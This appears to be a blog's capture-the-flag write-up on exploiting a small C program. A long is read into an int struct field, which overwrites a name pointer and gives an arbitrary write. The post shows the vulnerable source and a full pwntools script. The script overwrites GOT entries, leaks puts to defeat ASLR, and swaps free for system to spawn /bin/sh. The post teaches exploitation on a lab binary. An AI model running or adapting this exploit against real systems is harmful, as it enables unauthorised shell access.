Home Profile
Post
Cancel

Profile

The variable age is declared as an integer, and a long integer is obtained from the user. This means that, as an attacker, we have the capability to overwrite the next 4 bytes in memory. These next 4 bytes correspond to a pointer to a character array. As we examine the code, it becomes apparent that this character pointer is used to store user input. Combining these observations, we possess the ability to write anywhere in memory.

To begin the attack, we first overwrite the Global Offset Table (GOT) entry for the free function with the address of the main function. This ensures that the program does not exit, creating a loop. The same process is applied to the exit function.

Next, our objective is to leak the value for the Libc library’s base address in order to defeat Address Space Layout Randomization (ASLR). It is noted that regardless of the input provided, the program echoes it back. However, the getline function ensures that the buffer is null-terminated. Therefore, I identify an offset where the null character is replaced before printing. To achieve this, I replace the GOT entry for strcspn with the Procedure Linkage Table (PLT) entry of puts. Every time strcspn is invoked, the puts value will be updated in the GOT table. Subsequently, I write to the puts GOT table. When strcspn replaces the null character, the program prints the buffer, thereby leaking the puts value with respect to the Libc library loaded in memory.

Finally, the remaining steps are straightforward: I replace the free GOT table entry with that of the system function, and send /bin/sh as a string. With this, the shell is obtained. Boom, shell dropped!

Potection

img_1

Vuln Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

struct person_t {
  int id;
  int age;
  char *name;
};

void get_value(const char *msg, void *pval) {
  printf("%s", msg);
  if (scanf("%ld%*c", (long*)pval) != 1)
    exit(1);
}

void get_string(const char *msg, char **pbuf) {
  size_t n;
  printf("%s", msg);
  getline(pbuf, &n, stdin);
  (*pbuf)[strcspn(*pbuf, "\n")] = '\0';
}

int main() {
  struct person_t employee = { 0 };

  employee.id = rand() % 10000;
  get_value("Age: ", &employee.age);
  if (employee.age < 0) {
    puts("[-] Invalid age");
    exit(1);
  }
  get_string("Name: ", &employee.name);
  printf("----------------\n"
         "ID: %04d\n"
         "Name: %s\n"
         "Age: %d\n"
         "----------------\n",
         employee.id, employee.name, employee.age);

  free(employee.name);
  exit(0);
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  srand(time(NULL));
}

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/python3
from pwn import *
import struct

# context.terminal = ['tmux','splitw','-h']
os.environ['XDG_CACHE_HOME'] = '/tmp/'

context.log_level = 'error'


info = lambda msg: log.info(msg)
sla = lambda msg, data: io.sendlineafter(msg, data)
sa = lambda msg, data: io.sendafter(msg, data)
sl = lambda data: io.sendline(data)
s = lambda data: io.send(data)

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''

break *get_string+84
break *0x404140

continue
continue
continue
continue
continue
'''.format(**locals())

exe = './bin'; elf = context.binary = ELF(exe, checksec=False);exe_rop = ROP(elf,checksec=False)
libc = elf.libc ; libc_rop = ROP(libc,checksec=False)


io = start()

address = elf.got.free

sla(b"Age: ",str((address << 32) + 1))
sla(b"Name: ",p32(elf.sym.main)[:-1])

address = elf.got.exit

sla(b"Age: ",str((address << 32) + 1))
sla(b"Name: ",p32(elf.sym.main)[:-1])


address = elf.got.strcspn

sla(b"Age: ",str((address << 32) + 1))
sla(b"Name: ",p64(0x401040))

address = elf.got.puts

sla(b"Age: ",str((address << 32) + 1))
sla(b"Name: ",b"")


io.recvuntil(b"Name:")

leak_puts=u64(io.recvline().strip(b"\n")[1:]+b"\x00"*2)

print(f"Leaking Puts Value : {hex(leak_puts)}")

libc.address = leak_puts - libc.sym.puts

address = elf.got.free

sla(b"Age: ",str((address << 32) + 1))
sla(b"Name: ",p64(libc.sym.system))

sla(b"Age: ","1")
sla(b"Name: ",b"/bin/sh")

io.interactive()

This post is licensed under CC BY 4.0 by the author.